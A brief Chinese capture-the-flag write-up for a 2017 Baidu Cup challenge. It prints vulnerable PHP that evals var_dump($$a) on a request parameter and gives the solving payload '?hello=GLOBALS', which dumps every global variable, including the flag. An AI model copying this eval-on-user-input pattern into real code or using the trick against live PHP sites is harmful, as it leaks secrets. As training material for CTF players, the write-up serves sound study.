“百度杯”CTF比赛 2017 二月场_题目名称:爆破-1_WriteUp


打开网站

代码审计

<?php
include "flag.php";
$a = @$_REQUEST['hello'];   //获得hello参数
if(!preg_match('/^\w*$/',$a )){ //正则表达式过滤
  die('ERROR');
}
eval("var_dump($$a);"); //执行命令     var_dump():打印变量的相关信息
show_source(__FILE__);
?>

解题

代码var_dump($$a)中有两个$符号,就想到了$GLOBALS变量

payload

http://xxxxx?hello=GLOBALS